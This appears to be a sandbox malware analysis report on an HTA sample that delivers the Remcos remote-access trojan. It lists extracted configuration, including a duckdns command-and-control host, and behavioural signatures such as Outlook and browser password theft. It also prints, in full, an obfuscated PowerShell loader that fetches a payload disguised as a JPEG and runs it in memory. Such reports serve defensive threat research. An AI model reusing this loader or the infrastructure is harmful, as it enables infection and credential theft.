Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 12:50
General
- Target mfasgood.hta
- Size 807KB
- Sample260910-p25ylaha66
- SHA256 8e7af0d5af18f6d4eef967c54ce2063ecca6ec6203723d087d7768d89a5b5623
Malware Config
Extracted
-
ps1
-
exe.dropper
https://pic.li/images/MSI_PRO_Latest.jpeg
Extracted
-
remcos
-
6.0.0 Pro
-
EveryMaraNma$$$$
-
demnocusurpapanottodelivermebetterlogs.duckdns.org:14646
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
true
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-AT6RVM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 4 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: MapViewOfSection 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mfasgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi=''https://pic.li/images/MSI_PRO_Latest.jpeg''; $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi = [System.Net.HttpWebRequest]::Create($cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi); $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.UserAgent = ''Mozilla/5.0''; $cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo = $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.GetResponse().GetResponseStream(); $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa = New-Object IO.StreamReader($cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo); $sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya = $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa.ReadtoEnd(); $daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu=''IN-''; $bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza=''-in1''; $quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu); $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.LastIndexOf($bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza); if($quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo -eq -1 -or $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro -eq -1){return}; $hokatidecakujonedisolehiqazuyijufimijabavuwevihowewefeqazimicohumanexiqebuyugabiqiquxevazusupuzetira=$quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length; $lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.Substring($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length, $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro-($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length)); $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi=$lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi.Replace(''*'',''A'').ToCharArray(); $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa = -join $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi[($yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi.Length - 1)..0]; $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito = [Type]::GetType(''System.Convert''); [byte[]]$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu = $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito.GetMethod(''FromBase64String'').Invoke($null, (, $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa)); $sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe=$sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi.Invoke([AppDomain]::CurrentDomain, (,$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu)); $betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe=(''NqhiJ6EfTp6E04lsyxlluzYvfYdGz1w4607ElHLVamPg1HYHMco6RzuW2/JCC7bhIVck8RlfwVWH1wyXmn0OJw=='','''',''t3ZET90eegYzbfa5LfVuh/MQeejD+0PB87H4jaOHeqlGr+mVxjJoJnDF1XWA+mUd'',''VIxmtcEFgPqiMLNFobxMBNTI0tUz9w1qllvKae1Vnf8='',''8LAYhhhdLYjveDcwRmQSatgvwOuKY4GKs0Na/e5QJcw='','''',''nXLr4/kfZUfEYRHCwsxX0pRlRi+dFQrIbmoX5Qd6OE0='','''',''U21UkwaBjg1XEVBLqiFZOGPwjQ4bnMZVAwmEjmb9UtA='',''Z4bTHjMc3bFSLZLVSxVw1ZNK2itKe3/UvhLWSd5UbMf04XIfXGRHkAUkYAEL8O03'',''8jabn2Z++8fWHT8qqjzplkUebY/u87ZbhJng/tYPkA8='',''ykHI61dGv5YYlXYzamtfbyrctZI4nhBL5tTBjsl+mAQ='',''ozRQYhEPsuRK3+kkFcGistUkBdNpAuP0PU7MVAKh//M='','''',''fW0OqXhDpIASUAy/ZUI3D83gmLBcBGcP9nFEgDegktA='',''dcNZqEPRdANDWGKSeAZIbZzZCgGzjHm6NlOlPm2BDUU='','''','''',''''); try{ $xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo=($zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime=($xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime.Invoke($null,[object[]]$betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\wwrbykqnesjuloxva"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hyxmzcbhsbbhnumzrptf"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hyxmzcbhsbbhnumzrptf"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rscezvligjtmyaalbaohljxi"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
wwrbykqnesjuloxva
memory/2120-43-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2120-47-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2120-57-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-58-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-56-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-55-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-54-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-53-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-52-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-29-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-49-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-50-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-48-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-46-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2120-28-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-51-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-19-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-22-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-21-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-27-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-24-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-26-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2120-25-0x0000000000400000-0x0000000000480000-memory.dmp
memory/2792-36-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2792-40-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2792-38-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3956-30-0x0000000000400000-0x0000000000478000-memory.dmp
memory/3956-31-0x0000000000400000-0x0000000000478000-memory.dmp
memory/3956-32-0x0000000000400000-0x0000000000478000-memory.dmp
memory/3980-37-0x0000000000400000-0x0000000000462000-memory.dmp
memory/3980-33-0x0000000000400000-0x0000000000462000-memory.dmp
memory/3980-39-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4504-9-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-13-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-23-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-18-0x00000276C3170000-0x00000276C317A000-memory.dmp
memory/4504-2-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-17-0x00000276C36B0000-0x00000276C36C2000-memory.dmp
memory/4504-16-0x00000276C3630000-0x00000276C36B4000-memory.dmp
memory/4504-15-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-14-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-0-0x00007FFDE2D4F000-0x00007FFDE2D50000-memory.dmp
memory/4504-12-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-11-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-10-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-1-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-8-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-7-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-6-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4504-5-0x00000276C3140000-0x00000276C3162000-memory.dmp